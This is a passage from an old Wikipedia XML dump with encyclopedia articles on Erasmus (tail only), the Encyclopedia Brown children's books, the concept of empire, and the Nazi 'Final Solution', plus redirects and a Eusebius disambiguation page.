*Tracy, James D. Erasmus: The Growth of a Mind. Travaux D'humanisme Et Renaissance, 126. Genève: Droz, 1972. - One of the standard biographies.

== See also ==
* [[Rodolphus Agricola]]
* [[Christian humanism]]
* [[Erasmus Prize]]
* [[Erasmus' Correspondents]]

== External links ==
{{wikiquote}}
{{commons|Desiderius Erasmus}}
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| [[Image:Sourceberg.jpg|50px|none|Wikisource|&lt;nowiki&gt; &lt;/nowiki&gt;]] 
| width=&quot;100%&quot; | 
'''[[Wikisource]] has the original Latin text of ''[[Wikisource:la:Moriae encomium|Praise of Folly]]'''''.
|}
* [http://www.newadvent.org/cathen/05510b.htm Catholic Encyclopedia]
* [http://www.metmuseum.org/toah/hd/refo/ho_1975.1.138.htm Metropolitan Museum of Art]
* [http://watch.pair.com/erasmus.html In Defense of Erasmus and the Textus Receptus]
* [http://www.esn.org La herencia Erasmus: Presente y futuro]
* [http://smith2.sewanee.edu/erasmus/ The Erasmus Text Project]

=== eBooks ===
* {{gutenberg author| id=Desiderius+Erasmus | name=Erasmus}}

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[[Category:1466 births]]
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[[Category:Bible translators]]
[[Category:Dutch philosophers]]
[[Category:Dutch theologians]]
[[Category:Early modern philosophers]]
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[[Category:Rhetoricians|Erasmus]]

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    </revision>
  </page>
  <page>
    <title>Encyclopedia Brown</title>
    <id>10153</id>
    <revision>
      <id>41557208</id>
      <timestamp>2006-02-28T03:22:46Z</timestamp>
      <contributor>
        <ip>67.167.234.22</ip>
      </contributor>
      <comment>/* Book listing */</comment>
      <text xml:space="preserve">[[Image:Encyclopedia Brown - Boy Detective.jpg|thumb|right|180px|Cover of ''Encyclopedia Brown: Boy Detective'']]'''Leroy &quot;Encyclopedia&quot; Brown''' is a [[Detective fiction|fictional boy detective]], the main character in a long series of [[Children's literature|children's books]] written by [[Donald J. Sobol]] since 1963.

Brown lives in the fictional Idaville, [[Florida]], where his [[father]] is [[chief of police]]. In the [[book]]s, Brown will either solve cases presented to him by his father, often cases his father has been unable to solve, or by having someone walk into his [[detective]] agency (&quot;Brown Detective Agency 13 Rover Avenue Leroy Brown President NO case too small 25 cents per day plus expenses&quot;).  Brown is sometimes assisted in his investigations by his friend (and &quot;muscle&quot;) Sally Kimball. Two of the most frequent &quot;villains&quot; are Bugs Meany (leader of a gang of kids called the &quot;Tigers&quot; with a strong dislike for Brown and Kimball), and Wilford Wiggins (a pre-teen con-artist who attempts a scam every week).

Books featuring this character are subdivided into a number of (possibly interlinked) short stories, each of which presents a [[Mystery fiction|mystery]]. The mystery is always intended to be solved by the reader, thanks to the placement of a logical or factual inconsistency somewhere within the text. Encyclopedia Brown invariably solves the case by exposing this inconsistency, but this part of the story is placed at the end of the book; the bulk of the story ends just at the moment when readers are invited to solve the case themselves, or flip to the section in the back with the answers.

The enduring popularity of the ''Encyclopedia Brown'' books stems, at least partially, from the author's refusal to talk down to his audience (which consists primarily of younger readers), as far as leaving clues and puzzle pieces in each short story.  Adult readers who browse through an ''Encyclopedia Brown'' story often find that the mysteries are just as difficult for adults to solve.

Other similar book series are those of the [[Hardy Boys]], [[Nancy Drew]], and [[The Great Brain]].

==Book listing==
The Encyclopedia Brown books, in order of publication, are:
* Foot

*''Encyclopedia Brown, Boy Detective'' ([[1963]], ISBN 0525672001, 1982 reissue ISBN 0553157248)
*''Encyclopedia Brown and the Case of the Secret Pitch'' ([[1965]], ISBN 0525672028)
*''Encyclopedia Brown Finds the Clues'' ([[1966]], ISBN 0525672044)
*''Encyclopedia Brown Gets His Man'' ([[1967]], ISBN 0525672060)
*''Encyclopedia Brown Solves Them All'' ([[1968]], ISBN 0525672125)
*''Encyclopedia Brown Keeps The Peace'' ([[1969]], ISBN 0525672087)
*''Encyclopedia Brown Saves the Day'' ([[1970]], ISBN 0525672109)
*''Encyclopedia Brown Tracks Them Down''
*''Encyclopedia Brown Shows the Way''
*''Encyclopedia Brown Takes the Case'' (1973)
*''Encyclopedia Brown Lends a Hand'' (1974) 
*''Encyclopedia Brown and the Case of the Dead Eagles''
*''Encyclopedia Brown and the Case of the Midnight Visitor'' (1977)
*''Encyclopedia Brown Carries On'' (1980) 
*''Encyclopedia Brown Sets the Pace''
*''Encyclopedia Brown Takes the Cake'' (1982) (Co-written with Glenn Andrews)
*''Encyclopedia Brown and the Case of the Mysterious Handprints'' (1985)
*''Encyclopedia Brown and the Case of the Treasure Hunt'' (1988)
*''Encyclopedia Brown and the Case of the Disgusting Sneakers'' (1990)
*''Encyclopedia Brown and the Case of the  Two Spies'' (1995)
*''Encyclopedia Brown and the Case of Pablo's Nose'' (1996)
*''Encyclopedia Brown and the Case of the Sleeping Dog'' (1998)
*''Encyclopedia Brown and the Case of the Slippery Salamander'' (2000)
*''Encyclopedia Brown and the Case of the Jumping Frogs'' (2005)


Related Books:
*''Encyclopedia Brown's Book of Strange But True Crimes
*''Encyclopedia Brown's Book of Wacky Animals
*''Encyclopedia Brown's Book of Wacky Cars
*''Encyclopedia Brown's Book of Wacky Crimes
*''Encyclopedia Brown's Book of Wacky Outdoors
*''Encyclopedia Brown's Book of Wacky Spies	
*''Encyclopedia Brown's Book of Wacky Sports
*''Encyclopedia Brown's Record Book of Weird and Wonderful Facts
*''Encyclopedia Brown's Second Record Book of Weird and Wonderful Facts
*''Encyclopedia Brown's Third Record Book of Weird and Wonderful Facts

==Quotes==

* &quot;I wouldn't believe him if he swore he was lying.&quot;
* &quot;You thieving, lying crook!  You should be elected president so you can grant yourself a pardon.&quot; - Sally Kimball (From &quot;The Case of Bug's Zebra&quot;)

[[Category:Fictional detectives|Brown, Encyclopedia]]
[[Category:Children's books]]
[[Category:Series of books]]
[[Category:Juvenile series]]</text>
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  <page>
    <title>Empire</title>
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      <comment>/* Historical empires (with approximate dates) */ no dates for france?</comment>
      <text xml:space="preserve">{{cleanup-date|November 2005}}

:''For alternative meanings, see [[Empire (disambiguation)]]''

An '''empire''' (also known technically, abstractly or disparagingly as an '''imperium''', and with powers known among Romans as &quot;[[imperium]]&quot;) comprises a set of regions locally ruled by governors, viceroys or client [[monarch|kings]] in the name of an [[emperor]]. By extension, one could classify as an empire any large, multi-ethnic [[state]] ruled from a single center. Like other states, an empire maintains its political structure at least partly by [[coercion]]. Land-based empires (such as [[Mongol]] or [[Achaemenid dynasty|Achaemenid]] [[Persia]]) tend to extend in a contiguous area; sea-borne empires, also known as ''[[thalassocracy|thalassocracies]]'' (the [[Athenian empire|Athenian]] and [[British Empire|British]] empires provide examples), may feature looser structures and more scattered territories.

The actual political concept predates the [[Roman Empire|Romans]] by several hundred years: empires began to appear soon after the first cities made the necessary administrative structures possible. The [[Akkadian Empire]] of [[Sargon of Akkad]] furnishes one of the earliest known examples. Compare the concept of &quot;empire&quot; with that of a [[federation]], where a large, multi-ethnic state &amp;mdash; or even an ethnically homogeneous one like [[Japan]] or a small area like [[Switzerland]] &amp;mdash; relies on mutual agreement amongst its component political units. Also, one can compare physical empires with potentially more abstract or less formally structured ''[[hegemony|hegemonies]],'' which add cultural influences to their power repertory within their [[sphere of influence|spheres of influence]].  Compare empires with [[superpower]]s.

[[Image:Austria hungary 1911.jpg|thumb|right|300px|[[Ethnicity|Ethnicities]] within the [[Austro-Hungarian Empire]], from William R. Shepherd, ''Historical Atlas'', 1911: compare [[Nation state]].]]

==European Imperialism==
The modern term &quot;empire&quot; derives from the [[Latin]] word ''[[imperium]]'', a word coined in what became possibly the most famous example of this sort of political structure, the [[Roman Empire]] founded in 31 BC. The first empire, however, was the empire created by [[Sargon of Akkad]] in [[Mesopotamia]]. For many centuries, the term &quot;Empire&quot; in the West applied exclusively to states which considered themselves to be successors to the Roman Empire, such as the [[Byzantine Empire]], the [[Holy Roman Empire]], or, later, the [[Russian Empire]].

In [[1204]], when [[Constantinople]] was sacked during the [[Fourth Crusade]], the [[Crusades|Crusaders]] created a [[Latin Empire]] in Constantinople, while the descendents of the Byzantine Empire went to [[Asia Minor]] and established two smaller empires: the [[Empire of Nicaea]] and the [[Empire of Trebizond]]. These &quot;empires&quot; were short lived and the region was finally conquered by the [[Ottoman Empire]] in [[1453]].  It would not be until [[Peter the Great]]'s crowning in [[St. Petersburg]] as [[Tsar of Russia]] that Eastern Imperialism would resurface. Likewise, upon the fall of the Holy Roman Empire after the [[Napoleonic Wars]], the [[Austrian Empire]], later reshaped as [[Austria-Hungary]], inherited western imperialism.

There were two attempts by [[Napoleon I]] and [[Napoleon III]] to seize the Western Imperial claim for [[France]]. Western Imperialism would also be usurped in the period of [[1878]]&amp;ndash;[[1918]] by the [[German Empire]]. Over time, other monarchies which viewed themselves as greater in size and power than mere [[monarch|kingdom]]s used the name or its translation. In [[1056]], King [[Ferdinand I of Leon]], proclaimed himself &quot;Emperor of Spain&quot;, beginning the ''[[Reconquista]]''. [[Bulgaria]] furnishes another example. Europeans came to apply the term &quot;empire&quot; to large non-European [[Monarchy|monarchies]], such as the [[Chinese Empire|Empire of China]] or the [[Mughal Empire|Mughal Empire]], and to extend it to past policies. The word eventually came to apply loosely to any entity meeting the criteria, whether kings governed or not, even whether a monarchy or not. In some cases synonyms of ''empire'' such as ''[[tsar]]dom'', ''[[realm]]'' or ''[[reich]]'' occur.

Empires can accrete around different types of [[state]]. They have traditionally originated as powerful [[Monarchy|monarchies]] under the [[leadership|rule]] of a hereditary (or in some cases, self-appointed) [[emperor]], but the so-called empires of [[Athens]], Britain and the [[United States of America|United States]] developed under [[democracy|democratic]] auspices. [[Brazil]] leapt from colonial to self-declared empire status in 1822. France has twice made the transition from [[French Republic|republic]] to [[French Empire|empire]].

Historically, most empires came into being as the result of a militarily strong state conquering other states and incorporating them into a larger political union. Typically, a monarchy or an [[oligarchy]] rooted in the original core territory would continue to dominate this union. Many ancient empires maintained control of their subject peoples by controlling the supply of a vital resource, usually water; historians refer to such régimes as &quot;[[hydraulic empire]]s&quot;. The introduction of a common [[religion]] also often strengthened empires, as occurred (''pace'' [[Edward Gibbon]]) with the adoption of [[Christianity]] under [[Constantine I of the Roman Empire]]. And cultural influence played a large part in the survival of the [[Chinese empire]] and of its semi-imperial [[sphere of influence]].

An empire can mutate into some other form of [[polity]]. Thus the [[Bern]]ese empire of conquest no longer appears so imperial, but its territories have become absorbed into the [[canton of Bern]] or become cantons or parts of cantons elsewhere in the [[Switzerland|Swiss Confederation]]. The [[Holy Roman Empire]], itself in a sense a re-constitution of the [[Roman Empire]], underwent many transformations in its long history, fissuring extensively, experimenting with federalism and re-constituting itself as the [[Austrian Empire]] - vastly different in nature and in territory. The former second [[British Empire]] has spawned a loose multi-national [[Commonwealth of Nations]], and the old [[French colonial empire]] has also left traces of its existence in cultural networks and associations. The [[Soviet Empire]] leaves behind it the [[Commonwealth of Independent States]] (CIS).

An Emperor-based empire can readily become (say) a [[republic]] by means of a [[coup]] ([[Brazil]], 1889; [[Central African Empire]], 1979); or it can become a republic with its dominions reduced to a core territory ([[Germany]], 1918&amp;ndash;1919), [[Ottoman Empire]] (1918&amp;ndash;1923)). The breakup of the [[Austro-Hungarian Empire]] in 1918 provides an example of a multi-ethnic [[superstate]] fissuring into multiple constituent or new parts: the republics, kingdoms or provinces of [[Austria]], [[Hungary]], [[Transylvania]], [[Croatia]], [[Slovenia]], [[Bosnia-Herzegovina]], [[Czechoslovakia]], [[Ruthenia]], [[Galicia (Central Europe)|Galicia]]&amp;hellip;

The world's largest contiguous land empire was the [[Mongol Empire]], created by [[Genghis Khan]] in [[1206]]. It encompassed huge portion of [[Eurasia]] under [[Mongol]] rule. The Mongol Empire was governed by specific written code by Genghis Khan called [[Yasa]]. The Mongol Empire was governed by [[kurultai]], and there was [[freedom of religion]], tax exemption and extensive trade routes that were nurtured by the Khan. For example, the Mongol Empire provided political stability to the [[Silk Road]]. Other famous empires include the [[Persian empire]]. The Persians had numerous great empires, and are not usually known for a particular one, both pre and post islamic Persia had powerful empires. The [[Macedon|Macedonians]] had one great empire, led by [[Alexander the Great]].

==Imperialism==
The discovery of the [[New World]] provided an opportunity for many [[Europe]]an states to embark upon programs of [[imperialism]] on a different model, [[colony|colonization]]. Under this model (previously trialled in the Old World in the [[Canary Islands]] and in [[Ireland]]), subject states became ''[[de jure]]'' subordinate to the imperial state, rather than ''[[de facto]]'' as in earlier empires. This led to a good deal of resentment in the client states, and therefore probably to the demise of this system by the early- to mid-twentieth century.

The heyday of imperialism, the 19th century, coincided with a boom in the setting up of empires: from Haiti, France and Austria through Mexico to India and Germany. In contrast, the 20th century saw many empires demolished or dismembered: for example those of Russia, Austria-Hungary, Germany, Italy, France, Britain and the Central African Empire.시빠빠

One might describe one problem with the European imperial model as [[gerrymandering]]. In the interest of expediency, an imperial power tended to carve out a client state based solely on convenience of geography, while ignoring extreme cultural differences in the resulting area. An example of the attendant problems occurred in the [[India]]n sub-continent. Formerly part of the [[British Empire]], when the sub-continent gained its independence it split along cultural/religious lines producing modern India and the two-part country of [[Pakistan]], which later split yet again resulting in the independence of [[Bangladesh]].

==Modern &quot;empires&quot;==
The concept of &quot;empire&quot; in the modern world, while still present politically, has begun to lose cohesion semantically. The only remaining country nominally ruled by an Emperor, [[Japan]], comprises a [[constitutional monarchy]] with a population of approximately 99% ethnic Japanese. Just as [[monarchy|monarchies]] (as opposed to constitutional monarchies) have largely fallen out of favor in modern times, the term &quot;empire&quot; itself may now become somewhat of an [[anachronism]].

The former [[Soviet Union]] had many of the criteria of an empire, but nevertheless did not claim to be one, nor was it ruled by a traditional hereditary &quot;emperor&quot; (see [[Soviet Empire]]). Nevertheless, historians still occasionally classify it as an empire, if only because of its similarities to empires of the past and its sway over a large multi-ethnic bloc of [[Eurasia]]. 

Most modern multi-ethnic states see themselves as voluntary federations ([[Switzerland]], for example, or [[Belgium]]) or as unions ([[United Kingdom]], [[Spain]]), and not as empires. Most have democratic structures, and operate under systems which share [[power (sociology)|power]] through multiple levels of government that differentiate between areas of federal and provincial/state jurisdiction. Where separatist groups exist, internal and external observers may disagree on whether state action against them represents legitimate [[law enforcement|law-enforcement]] against a violent or non-violent fringe group, or state violence to control a broadly unwilling population. A list of multi-ethnic states with ongoing violence by and against separatists might swamp this article, although [[China]], [[Russia]], [[Indonesia]] and [[India]] distinguish themselves by sheer size.

The [[United States|United States of America]], widely categorized as a federation, offers another example. The North used coercion to keep the Union together during the [[American Civil War]], which made this characterization more ambiguous in the minds of many. In the aftermath of the [[Cold War]], the United States has emerged as an unrivaled [[superpower]], and although the country has not engaged in formal territorial expansion since the acquisitions of [[Hawaii]], of Puerto Rico, of the [[Philippines]] and of the [[U.S. Virgin Islands|Virgin Islands]], many suggest its powerful military and economic influences allow it to exert a sort of informal [[New Imperialism|neo-imperial]] hegemony on much of the modern world (see [[American Empire]], [[corporate colonialism]]).

==Historical empires (with approximate dates)==
* [[History of Ethiopia|Abyssinian Empire]] (&amp;ndash;1974)
* [[Achaemenid Empire]] (commonly known as the '''Persian Empire''') (c. 550&amp;ndash;330 BC)
* [[Akkadian Empire]] (c. 2350&amp;ndash;2150 BC &amp;mdash; the first historical empire ever)
* [[Assyrian Empire]] (c. 900&amp;ndash;612 BC)
* [[Athenian empire|Athenian Empire]] (c. 477&amp;ndash;404 BC)
* [[Austria-Hungary|Austro-Hungarian Empire]] (1867&amp;ndash;1918)
* [[Austrian Empire]] (1804&amp;ndash;1867)
* [[Axis Powers]] (1936&amp;ndash;1945)
**[[Greater East Asia Co-prosperity Sphere]] (1940&amp;ndash;1945)
**[[Third Reich|Third German Reich]] (1933&amp;ndash;1945)
* [[Aztec|Aztec Empire]] (1375&amp;ndash;1521)
* [[Belgium|Belgian Empire]] (1865&amp;ndash;1962)
* [[Brazilian Empire]] (1822&amp;ndash;1889)
* [[List of Roman Emperors#Britannic Empire 286 to 297|Britannic Empire]] (286&amp;ndash;297)
* [[British Empire]] (c. 1497&amp;mdash; {{ref|BE}}) ''De jure''{{ref|BE1960}}
* [[History of Bulgaria|Bulgarian Empire]] (681&amp;ndash;1018; 1185&amp;ndash;1396)
* [[Byzantine Empire]] (330&amp;ndash;1453)
* [[Central African Empire]] (1977-1979)
* [[History of China|Chinese Empire]] (221 BC&amp;ndash;1912)
* [[Chola Empire]] (c. 9th&amp;ndash;13th century)
* [[Danish colonial empire]]
* [[Dutch colonial empire]]
* [[Egyptian Empire]] (1550&amp;ndash;1070 BC)
* [[Elamite Empire]]
* [[First French Empire|French Empire]](1804-1814, 1815, 1852-1870)
* [[Gallic Empire]] (260&amp;ndash;274)
* [[Republic of Genoa|Genoa Empire]] (c. 1100&amp;ndash;1797)
* [[German Empire]] (1871&amp;ndash;1918)
* [[Ghana Empire]]  (c. 750&amp;ndash;1240)
* [[Gupta Empire]]  (c. 320&amp;ndash;550)
* [[History of Haiti|Haitian Empire]] (1804&amp;ndash;1806, 1849&amp;ndash;1859)
* [[Hittite Empire]] (c. 1460&amp;ndash;1180 BC)
* [[Holy Roman Empire]] (843&amp;ndash;1806)
* [[Tahuantinsuyu|Inca Empire]] (1438&amp;ndash;1533)
* [[Ilkhanate]] (c. 1256&amp;ndash;1338)
* [[Caliphate|Islamicate Empire]] (c. 630&amp;ndash;1924)
* [[United Monarchy|Israelite Empire]]  (c. 1000&amp;ndash;922 BC)
* [[Italian Colonial Empire]]  (1889&amp;ndash;1943)
* [[Japanese Empire]]
* [[Khmer Empire]] (802&amp;ndash;1462)
* [[Kongo Empire|Kongo Empire]]
* [[Korean Empire]] (1897&amp;ndash;1910)
* [[Latin Empire]] (1204&amp;ndash;1261)
* [[Macedon|Macedonian Empire]] (c. 338 BC&amp;ndash;309 BC)
* [[Magadhan Empire]]  (c. 550&amp;ndash;350 BC)
* [[Majapahit Empire]]  (c. 1293&amp;ndash;1500)
* [[Mali Empire]]  (c. 1240&amp;ndash;1541)
* [[Malinke|Malinke Empire]]
* [[Maratha Empire]] (1674&amp;ndash;1761)
* [[Mauryan Empire]] (321 BC&amp;ndash;185 BC)
* [[Mexican Empire]] (1822&amp;ndash;1823, 1864&amp;ndash;1867)
* [[Mogul Empire]] (1526&amp;ndash;1857)
* [[Mongol Empire]] (1206&amp;ndash;1394)
* [[Nicaean Empire]] (1204&amp;ndash;1261)
* [[Babylon|Old Babylonian Empire]] (c. 1900&amp;ndash;1600 BC)
* [[Ottoman Empire]] (1299&amp;ndash;1922)
* [[Palmyra|Palmyrene Empire]] (260&amp;ndash;272)
* [[Parthian Empire]] (c. 200 BC&amp;ndash;224 AD)
* [[Portuguese Empire]] (1495&amp;ndash;1975)
* [[Roman Empire]] (27 BC&amp;ndash;476 AD)
* [[Imperial Russia|Russian Empire]] (1721&amp;ndash;1917)
* [[Sassanian Empire]] (224&amp;ndash;651)
* [[Serbian Empire]] (1345&amp;ndash;1371)
* [[Seleucid Empire]] (323 BC&amp;ndash;60 BC)
* [[Songhai Empire]] (1464&amp;ndash;1591)
* [[Siam Empire]] (1350&amp;ndash;1909c)
* [[Soviet Empire]] (1922&amp;ndash;1991)
* [[Spanish Empire]] (1492&amp;ndash;1975)
* [[Swedish Empire]] (1561&amp;ndash;1878)
* [[Teotihuacan|Teotihuacano Empire]]
* [[History of Tibet|Tibetan Empire]] (c. 7th&amp;ndash;11th century)
* [[Timurid Empire]] (1401&amp;ndash;1505)
* [[Empire of Trebizond|Trapezuntine Empire]] (1204&amp;ndash;1461)
* [[Tu'i Tonga Empire]] (950&amp;ndash;1875?)
* [[3rd dynasty of Ur|Ur III Empire]] (c. 2100&amp;ndash;2000 BC)
* [[Republic of Venice|Venetian Empire]] (c. 900&amp;ndash;1797)
* [[History of Vietnam|Vietnamese Empire]] (1802&amp;ndash;1883)
* [[Vijayanagara Empire]] (c. 1350&amp;ndash;1700)

==Notes==
&lt;!--see wikipedia:footnote3 --&gt;
#{{note|BE}}The [[United Kingdom]] still has some [[overseas territories]]. The [[British monarch]], Queen [[Elizabeth II of the United Kingdom|Elizabeth II]] can be described as [[head of state]] of the United Kingdom. She is also monarch of the other [[Commonwealth Realms]]; the constitutional role of the monarchy is identical to that of the United Kingdom, but the historical and cultural significance may differ. Queen Elizabeth is also [[head of the Commonwealth|head of]] [[Commonwealth of Nations|The Commonwealth]]; this title, however, does not imply any political power over member nations, and is a non-hereditary title.
#{{note|BE1960}} ''De facto'', The British Empire ended in the 1960s.

==External links==
*[http://www.hostkingdom.net/earthrul.html To Rule the Earth...]: List of Great Empires
*[http://www.angelfire.com/cantina/negri/ Empire] A link to Hardt and Negri's book.

==See also==
*[[List of largest empires]]
*[[List of extinct countries, empires, etc.]]
*[[Trade bloc]]
*[[Global empire]]


[[Category:Forms of government]]
[[Category:Empires]]

[[br:Impalaeriezh]]
[[ca:Imperi]]
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[[es:Imperio]]
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[[nn:Imperium]]
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[[ru:Империя]]
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[[tr:İmparatorluk]]</text>
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  <page>
    <title>Final Solution</title>
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      <text xml:space="preserve">{{main|Holocaust}}. ''For the Michael Chabon novel see [[The Final Solution]]''
{{The Holocaust}}
[[Image:Heydrich-Endlosung.jpg|thumb|200px|lright|In a [[February 26]], [[1942]] letter to German diplomat [[Martin Luther (diplomat)|Martin Luther]], [[Reinhard Heydrich]] follows up on the [[Wannsee Conference]] by asking Luther for administrative assistance in the implementation of the &quot;Endlösung der Judenfrage&quot; (Final Solution of the Jewish Question).  See the [http://www.ghwk.de/engl/february-26-1942.htm Transcription and translation of this letter] at the Memorial House of the Wannsee Conference.]]

The '''Final Solution of the Jewish Question''' ([[German language|German]] '''''Endlösung der Judenfrage''''') refers to the [[Germany|German]] [[Nazi]]s' plan to [[genocide|genocidally]] kill the entire European Jewish population during [[World War II]]. The term was coined by [[Adolf Eichmann]], a top Nazi official who supervised the genocidal campaign and was later judged in Jerusalem in 1961. The execution of the Final Solution resulted in the most deadly phase of the [[Holocaust]].

Mass killings of over one million Jews occurred before the plans of the Final Solution were fully implemented in 1942, but it was only with the decision to eradicate the entire Jewish population that the [[extermination camps]] were built and industrialized mass slaughter of Jews began in earnest.  This decision to systematically kill the Jews of Europe was made by the time of, or at the [[Wannsee conference]], which took place in [[Berlin]], in the Wannsee Villa on [[January 20]], [[1942]]. During the conference there was a discussion held by a group of Nazi officials to decide on the &quot;Final Solution of the [[Jewish Question]]&quot;. The records and minutes of this meeting were found intact by the [[Allies of World War II|Allies]] at the end of the war and served as valuable evidence during the [[Nuremberg Trials]]. By spring of 1942, [[Operation Reinhard]] began the systematic extermination of the Jews, although hundreds of thousands had already been killed by death squads and in mass pogroms.

There is still considerable debate among historians about when, exactly, the decision to eradicate the Jewish population of Europe was made by the Nazi leadership. The consensus is that the outlines of the Final Solution arose gradually throughout the summer and fall of 1941.  Prominent Holocaust historian [[Christopher Browning]] has stated that the decision to exterminate the Jews was actually two decisions, one in July of 1941 to kill the Jews of Russia (mass killings by the [[Einsatzgruppen]] had already begun by the summer of 1941), the second in October of 1941 to exterminate the remaining Jews of Europe.  There is ample evidence for this view, for example in [[July 31]], [[1941]], under instructions from [[Adolf Hitler]], Nazi official [[Hermann Göring]] ordered [[Schutzstaffel|SS]] general [[Reinhard Heydrich]] to &quot;submit to me as soon as possible a general plan of the administrative material and financial measures necessary for carrying out the desired final solution of the Jewish question.&quot; 

Christian Gerlach has argued for a different timeframe suggesting that the decision was made by Hitler on the [[12 December]] [[1941]], when he addressed a meeting of the National Socialist Party (the Reichsleiter) and of regional party leaders (the Gauleiter). [[Joseph Goebbels]] recorded in his notes the following, &quot;Regarding the Jewish question, the Führer is determined to clear the table. He warned the Jews that if they were to cause another world war, it would lead to their own destruction. Those were not empty words. Now the world war has come. The destruction of the Jews must be its necessary consequence. We cannot be sentimental about it. It is not for us to feel sympathy for the Jews. We should have sympathy rather with our own German people. If the German people have to sacrifice 160,000 victims in yet another campaign in the east, then those responsible for this bloody conflict will have to pay for it with their lives.&quot;  In his diary entry of [[13 December]] [[1941]], the day after Hitler’s private speech, Joseph Goebbels wrote:&quot;In respect of the Jewish question, the Führer has decided to make a clean sweep. The world war is here, the annihilation of the Jews must be the necessary result.”

After this decision, plans were made to put the Final Solution into effect.  For example, on [[December 16]], at a meeting of the officials of the General Government, [[Hans Frank]] referred to Hitler's speech as he described the coming annihilation of the Jews:
&lt;blockquote&gt;As for the Jews, well, I can tell you quite frankly that one way or another we have to put an end to them. The Führer once put it this way: if the combined forces of Judaism should again succeed in unleashing a world war, that would mean the end of the Jews in Europe. .... I urge you: Stand together with me ... on this idea at least: Save your sympathy for the German people alone. Don't waste it on anyone else in the world, . . . I would therefore be guided by the basic expectation that they are going to disappear. They have to be gotten rid of. At present I am involved in discussions aimed at having them moved away to the east. In January there is going to be an important meeting in Berlin to discuss this question. I am going to send State Secretary Dr. Buhler to this meeting. It is scheduled to take place in the offices of the RSHA in the presence of Obergruppenführer Heydrich. Whatever its outcome, a great Jewish emigration will commence.  But what is going to happen to these Jews? Do you imagine there will be settlement villages for them in the Ostland? In Berlin we were told: Why are you making all this trouble for us? There is nothing we can do with them here in the Ostland or in the Reich Commissariat. Liquidate them yourselves! .... Here are 3.5 million Jews that we can't shoot, we can't poison. But there are some things we can do, and one way or another these measures will successfully lead to a liquidation. They are related to the measures under discussion with the Reich.... Where and how this will all take place will be a matter for offices that we will have to establish and operate here. I will report to you on their operation at the appropriate time.&lt;/blockquote&gt;

By [[1 November]] [[1941]] the first extermination camps were being built; first [[Belzec]], then [[Sobibor]] and finally [[Treblinka]], the mass execution of Jews began in early 1942.

==Cultural References==
::See [[The Holocaust in art and literature]]

==References==
* Browning, Christopher R. The Origins of the Final Solution, William Heinemann, London, 2004.
* Gerald Fleming, Hitler and the Final Solution, University of California Press, Berkley, 1984.
* Christian Gerlach. The Wannsee Conference, the Fate of German Jews, and Hitler's decision in principle to exterminate all European Jews, The Journal of Modern History. Chicago: Dec 1998.Vol.70, Iss. 4;  pg. 759, 54 pgs 
* Longerich, Peter. The Unwritten Order – Hitler's Role in The Final Solution, Tempus Publishing Limited, Stroud, 2003. 

==External links==
* [http://www.holocaust-history.org/hitler-final-solution When did Hitler decide on the Final Solution?]
* [http://www.deathcamps.org/reinhard/finalsolution.html The Emergence of the Final Solution]    
* [http://www.shoaheducation.com/endlosung.html  The Final Solution of the Jewish Question in the Holocaust]

[[Category:Holocaust]]
[[Category:Nazi Germany]]

[[ar:حل أخير]]
[[da:Endlösung]]
[[de:Endlösung der Judenfrage]]
[[es:Solución final]]
[[eo:Fina solvo]]
[[ga:Freagra Deireanach]]
[[id:Solusi terakhir]]
[[it:Soluzione finale della questione ebraica]]
[[he:הפתרון הסופי]]
[[nl:Endlösung]]
[[no:Den endelige løsning]]
[[pl:Endlösung]]
[[pt:Solução final]]
[[sl:Dokončna rešitev]]
[[fi:Lopullinen ratkaisu]]
[[sv:Den slutgiltiga lösningen]]</text>
    </revision>
  </page>
  <page>
    <title>EndlÃÃÂ¶sung</title>
    <id>10161</id>
    <revision>
      <id>35314850</id>
      <timestamp>2006-01-15T21:33:02Z</timestamp>
      <contributor>
        <username>Sceptre</username>
        <id>274040</id>
      </contributor>
      <minor />
      <comment>dblredir</comment>
      <text xml:space="preserve">#REDIRECT [[Final Solution]]</text>
    </revision>
  </page>
  <page>
    <title>EndlÃfÂ¶sung</title>
    <id>10162</id>
    <revision>
      <id>35314849</id>
      <timestamp>2006-01-15T21:33:02Z</timestamp>
      <contributor>
        <username>Sceptre</username>
        <id>274040</id>
      </contributor>
      <minor />
      <comment>dblredir</comment>
      <text xml:space="preserve">#REDIRECT [[Final Solution]]</text>
    </revision>
  </page>
  <page>
    <title>Eusebius (disambiguation)</title>
    <id>10163</id>
    <revision>
      <id>36119088</id>
      <timestamp>2006-01-21T19:43:19Z</timestamp>
      <contributor>
        <username>JASpencer</username>
        <id>11096</id>
      </contributor>
      <text xml:space="preserve">'''Eusebius''' is the name of several significant historical people (arrangement is chronological):

* [[Eusebius of Myndus]], 4th century BC philosopher.
* [[Eusebius of Nicomedia]], 4th century bishop of [[Nicomedia]].
* [[Eusebius of Rome]] (died c. 357), a priest and martyr, Saint
* [[Eusebius of Samosata]] (died c. 380), bishop of [[Samosata]], Saint
* [[Eusebius of Vercelli]] (c. 283&amp;ndash;381), bishop of [[Vercelli]], Saint
* [[Eusebius of Laodicea]] (died c. 268), bishop of [[Laodicea]]. [http://www.newadvent.org/cathen/05623a.htm Catholic Encyclopedia article]
* [[Pope Eusebius]], Pope 309&amp;ndash;310.
* [[Eusebius of Caesarea]] (c. 260&amp;ndash;c. 341), &quot;the&quot; Eusebius: the famous historian of the Christian Church.
* [[Eusebius of Emesa]], 4th century bishop.
* [[Eusebius of Dorylaeum]], 5th century bishop.
* [[Eusebius Sophronius Hieronymus]], ca. 340-420 better known as [[Saint Jerome]].
* [[Eusebius of Alexandria]], 6th century author of the Eastern Christian Church.
* [[Eusebius of Angers]], 11th century bishop.

{{disambig}}

[[cs:Eusebius]]
[[de:Eusebius]]
[[nl:Eusebius]]
[[fi:Eusebius]]</text>
    </revision>
  </page>
  <page>
    <title>Eurystheus</title>
    <id>10164</id>
    <revision>
      <id>39360614</id>
      <timestamp>2006-02-12T17:26:23Z</timestamp>
      <contributor>
        <username>Wetman</username>
        <id>21492</id>
      </contributor>
      <comment>labours are expressly linked to and needn't be fully worked over here; added details concerning Eurystheus</comment>
